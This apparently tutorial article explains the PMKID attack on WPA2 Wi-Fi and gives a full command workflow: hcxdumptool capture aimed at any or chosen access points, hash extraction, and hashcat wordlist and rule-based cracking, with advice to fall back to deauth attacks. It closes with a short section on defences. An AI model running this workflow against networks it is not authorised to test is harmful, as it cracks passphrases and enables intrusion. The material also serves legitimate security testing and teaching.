PMKID Attack — Clientless WPA2 Cracking

Discovered by Jens Steube (hashcat author) in August 2018. The PMKID attack is a revolution in WPA2 cracking: you no longer need a connected client or a captured 4-way handshake. You extract a crackable value from a single EAPOL frame sent by the AP in response to any association attempt — no deauth, no waiting for a client, no timing required.

What Is the PMKID

PMKID (Pairwise Master Key Identifier) is a 128-bit value that some APs include in the first EAPOL message (RSN IE, Key Data field) during association:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || Client_MAC)

Where:
  PMK   = PBKDF2(HMAC-SHA1, passphrase, SSID, 4096 iterations, 32 bytes)
  "PMK Name" = literal string (11 bytes)
  AP_MAC     = BSSID (known from beacon frames)
  Client_MAC = your own MAC (known)

Since you control your MAC and know the BSSID, you can brute-force candidate passphrases → compute PMK → compute expected PMKID → compare to captured PMKID.

Why This Is Powerful

Traditional handshake attack requires:

• An active client connecting to the AP
• Capturing the 4-way handshake at the right moment (or deauth + wait for reconnect)
• Timing luck and network activity

PMKID attack requires:

• Being in range of the AP
• Sending one association request
• AP responds with PMKID in the first EAPOL frame — done in seconds

Capture Workflow

Step 1: Capture with hcxdumptool

sudo apt install hcxdumptool hcxtools

# Kill interfering processes (hcxdumptool manages monitor mode itself)
sudo airmon-ng check kill

# Capture PMKID from all visible APs
sudo hcxdumptool -i wlan0 -o pmkid_capture.pcapng --enable_status=1

# Target a specific AP (create targets.txt with lowercase BSSID, no colons)
echo "aabbccddeeff" > targets.txt
sudo hcxdumptool -i wlan0 -o pmkid_capture.pcapng \
    --filtermode=2 \
    --filterlist_ap=targets.txt

# Watch for: [PMKID captured] in output — usually within a few seconds

Step 2: Extract to Hashcat Format

hcxpcapngtool -o hashes.hc22000 pmkid_capture.pcapng

# Verify — each line is one crackable target
# WPA*01* prefix = PMKID
# WPA*02* prefix = EAPOL handshake
wc -l hashes.hc22000

Step 3: Crack with Hashcat

# Mode 22000 handles both PMKID and EAPOL in one unified format
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt

# With rules (significantly expands coverage)
hashcat -m 22000 hashes.hc22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# GPU optimization flags
hashcat -m 22000 hashes.hc22000 rockyou.txt -O -w 3

# Show cracked passwords
hashcat -m 22000 hashes.hc22000 --show

Legacy Format (mode 2500)

Before mode 22000, EAPOL-only captures used a different format:

cap2hccapx capture-01.cap output.hccapx
hashcat -m 2500 output.hccapx wordlist.txt

Mode 22000 supersedes this — use it for all new captures.

PMKID vs Traditional Handshake

Strategy: always try PMKID first. If no PMKID is captured after 60 seconds, the AP likely does not include it — fall back to handshake capture via deauth.

Defense

• WPA3-SAE: eliminates offline dictionary attacks entirely — uses Dragonfly key exchange instead of PMK-from-PSK
• Strong passphrase (16+ random characters): makes cracking computationally impractical even with a GPU farm
• Disable PMKID caching: some enterprise APs allow this — prevents PMKID extraction without affecting normal operation
• WPA2 with PMF (802.11w): does not prevent PMKID capture but makes deauth-based handshake attacks harder as a fallback